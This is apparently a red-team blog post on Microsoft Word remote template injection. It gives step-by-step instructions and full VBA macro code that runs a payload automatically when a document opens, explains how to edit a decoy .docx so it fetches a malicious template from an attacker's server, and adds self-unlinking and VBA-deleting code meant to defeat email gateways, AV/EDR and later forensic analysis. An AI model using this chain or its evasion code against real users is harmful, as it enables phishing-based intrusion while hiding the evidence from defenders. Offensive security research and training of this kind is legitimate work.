This blog post is a clone of my upcoming redteam gitbook project that I'm currently working on. Link TBD...
Purpose
The purpose of this page is to briefly explain what Remote Template Injection is, and actually create a PoC based on the technique.
Remote Template Injection
Microsoft Word has a feature where a user can create a document with a template. Whenever a Word document with a template is being written/read, this templates are being downloaded/used from the local, or remote machine. Thus, the attackers can host a Word Document Template file (.dotm) with malicious macros on their servers. Whenever the victim opens the Word Document, the Document will fetch the malicious template from the attacker's server, and execute it.
The advantage of this technique is that the actual decoy Word document that touches the disk of the victim and read is not malicious. Thus, the chances of the attachment bypassing Email Gateways and/or host AV/EDR solutions increases than the traditional malicious Word Document.
Execution
The big-picture methodology is the following:
- Create a .dotm Template file with malicious macro which will execute the payload.
- Host this .dotm Template file in the attacker's server
- Create a .docx Word Document using one of the template.
- Rename the .docx file to .zip and unzip the file and replace
./word_rels/settings.xml.rels
or./word/_rels/settings.xml.rels
with the address of the #2. - Re-zip the files and rename the .zip to .docx
Template File
First, create an empty document. Then, using Alt+F8
, view Macros. Make sure to select Document1 when first creating the macro. Then, give a random Macro name and click Create.
Create a PoC macro. For this gitbook, a Covenant Grunt's Powershell Launcher payload was used. You can use any PoC payload; calc
, or notepad
would also work.
Sub AutoOpen()
a
End Sub
Sub Document_Open()
a
End Sub
Sub a()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
wsh.Run "<your_payload>"
Set wsh = Nothing
End Sub
After that, press the "Run" button, or F5
for sanity check. If the payload has executed, our macro is good to go.
Make sure to erase all metadata using Document Inspector. Metadata to look out for is the Document Properties and Author Information. File ==> Info ==> Check for Issues ==> Inspect Document ==> Inspect ==> Erase
Then, save the template file as a .dotm
file.
DOCX File
Now, create another new document, and select a default template. I used a resume template, but the type of the template does not matter. Save the file as .docx
file. Find the settings.xml.rels
cd <document_path>
mv <name>.docx <name>.zip
expand-archive ./<name>.zip
Depending on the version of the Microsoft Word, the location might be different. In my case, it was in <name>/word/_rels/settings.xml.rels
Open that file in a text editor, and change the Target
to the URL where the Template file is hosted.
After that, save the file, re-zip the all the files using Compress-Archive
or by GUI, and rename the file into .docx
again. Make sure to zip the files, not the <name> directory itself.
Use the document inspector again, but only delete author name, etc. Don't delete XML data.
Then, open the document, and click on "Enable Content". Enjoy the payload being executed.
Unlinking and OPSEC
After the remote template file is downloaded, the macro is left inside the .docx
file. This is bad for OPSEC reasons, as word document macros can be deobfuscated, which will reveal additional network based indicators to the analysts.
This section's unlinking/self-deleting code is from John Woodman - https://medium.com/@john.woodman11/vba-macro-remote-template-injection-with-unlinking-self-deletion-49aef5eec0cd The article goes in-detail about what the code does.
In short, the additional code first tries to unlink the current malicious template, and link the document with a Normal.dotm
default template, which can be found in all Windows machine that has Word installed. If there are any errors during the process, the "fail-safe" DeleteVBAProject
function will delete all of the VBA script that exists in the document.
The Final Macro - Notice the unlink
function being called in both AutoOpen()
and Document_Open()
Sub AutoOpen()
a
unlink
End Sub
Sub Document_Open()
a
unlink
End Sub
Sub a()
Dim wsh As Object
Set wsh = CreateObject("WScript.Shell")
wsh.Run "<your_payload_here>"
Set wsh = Nothing
End Sub
' Replace current template with Normal.dotm template. If error, execute Destroy.
Sub unlink()
Application.DisplayAlerts = False
On Error GoTo Destroy
ThisDocument.AttachedTemplate.Saved = True
CurrUser = Application.UserName
tmpLoc = "C:\Users\" & CurrUser & "\AppData\Roaming\Microsoft\Templates\Normal.dotm"
ActiveDocument.AttachedTemplate = tmpLoc
ActiveDocument.AttachedTemplate.Saved = True
ThisDocument.Saved = True
ActiveDocument.Saved = True
ThisDocument.Close savechanges:=False
Exit Sub
Destroy:
Call DeleteVBAPROJECT
ThisDocument.Saved = True
ActiveDocument.Saved = True
ActiveDocument.AttachedTemplate.Saved = True
ThisDocument.Close savechanges:=False
End Sub
Sub DeleteVBAPROJECT()
Application.DisplayAlerts = False
Dim i As Long
On Error Resume Next
With ThisDocument.VBProject
For i = .VBComponents.Count To 1 Step -1
.VBComponents.Remove .VBComponents(i)
.VBComponents(i).CodeModule.DeleteLines _
1, .VBComponents(i).CodeModule.CountOfLines
Next i
End With
On Error GoTo 0
ThisDocument.Saved = True
ActiveDocument.Saved = True
End Sub
Now, open the document. We can see a grunt calling back.
However, if we go back to the original document and check the Macro for all documents and templates, we see that all of the macros are gone.
MISC
John Woodman's article says that the actual code of the template cannot be viewed, even before and after the "Enable Content" button is pressed. However, I was able to view all of the VBA Script before pressing the "Enable Content" button. I do not have different versions of Microsoft Word to test this, but this is something worth confirming.
Tools
John Woodman's Remote Template Injector